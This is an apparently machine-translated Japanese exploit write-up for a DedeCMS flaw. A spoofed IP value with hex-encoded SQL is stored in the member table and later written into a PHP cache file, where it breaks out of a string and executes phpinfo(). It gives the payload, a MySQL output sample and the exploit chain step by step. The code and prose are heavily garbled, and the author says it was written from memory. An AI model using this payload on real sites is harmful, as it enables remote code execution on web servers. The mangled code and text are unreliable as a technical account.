Dedecms getip()の脆弱性利用コード
author: superhei team:http://www.ph4nt0m.org ブログ:http://superhei.blogbus.com ユーザー登録後、ユーザー情報をキャッシュとして記入します。\include\inc_memberrlogin.php function FusCache($mid=0){if(empty($mid) $mid = $this->M_ID;$dsql. = new DedeSql();row = $dsql->GetOne("Select" ID、userid、pwd、type、uname、mberger type、money、up time、exptime、scores、newpm From #@__メンバー where ID='{mid}' “); if(is_)array($row){$scrow} = $dsql->GetOne("Select" タイツ From #@__scores where integral<={$row['scores]] order by integral desc;$row[hone or] = $scrow[titles];if(is_)array($row)) return WriteUserInfos($mid、$row); //ここでelse return ”; } WriteUserInfos()のコード:/ユーザのセッション情報functionに書き込む WriteUserInfos($uid、$row){tpath} = Cil($uid/5000);ドラえもん = dirnameFILE_.」/cache/user/$tpath/"if(is_dir($ndir){mkdir($ndir、077);chmod($ndir、077);$userfile = $ndir.$uid.'.php';infos = “<”.”?php\r;$infos .= “\$cfg_userinfos['wtime]] = ‘”.mytime."""""""",\"r「r」foreach($row) as $k=>$v){if(ereg('^-9'、$k)}{v = strreplace("""","\",$v); //これは利用の鍵です。 $v = ereg_replace(\??\??\??)」「$v);infos .= “\$cfg_userinfos['{$k}] = ‘{$v';\r";}$infos .= “\r?'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''fp。 = fopen($userfile、'w');@flock($fp);@fwrite($fp、$infos);@fclose($fp)return $infos;私たちは$ipp="12.11.1"を作成します。uname=0×68656967655 C 273 B 706870696 E 666 F 8293 F 2 F 2 F,up time='1"mysql> プロジェクト 0×6865696765 C 273 B 706870696 E 666 F 8293 B 2 F 2 F;+―――――――――――――――――――――――――――――C+124 0×6865696765 C 273 B 706870696 E 666 F 2393 F 2 F 2 F 2 F | +――――――――――――――C+124 ヘige\'phpinfo()// | +――――――――――――――C+1 row in セット (0.00 sec)利用プロセス:A:else{ //ログインに成功しました。×68656967655 C 273 B 706870696 E 666 F 8293 F 2 F 2 F,up time='1"dsql->Execute NoneQuery("udate" #@__メンバー セット logine time='.mytime()',logiinip='.$ipp." where ID='{$row['ID''';]B:FusCache()$row = $dsql->GetOne("Select" ID、userid、pwd、type、uname、mberger type、money、up time、exptime、scores、newpm From #@__メンバー where ID='{mid}' “); C:WriteUserInfos()heige\'phpinfo()// ―strreplacceC>heige\'phpinfo()//-fwrite->heige\'phpinfo()/=>$cfg_userinfos['uname'] = ‘ヘige\';phpinfo()/'; 完璧に閉じて前の' その中のstrreplaceの部分はコードに相当します。php$v="heige\";phpinfo()//";v = strreplace("""","\",$v);print $v;全体の過程は完璧な「二次攻撃」であり、strureplace("""","\",$v);キーポイントとしての役割を果たした [このバグのために、私のpcに時間がありました。この文章の多くは記憶に基づいて書いています。間違いがあるかもしれません。興味がある人は自分でついてきてもいいです。」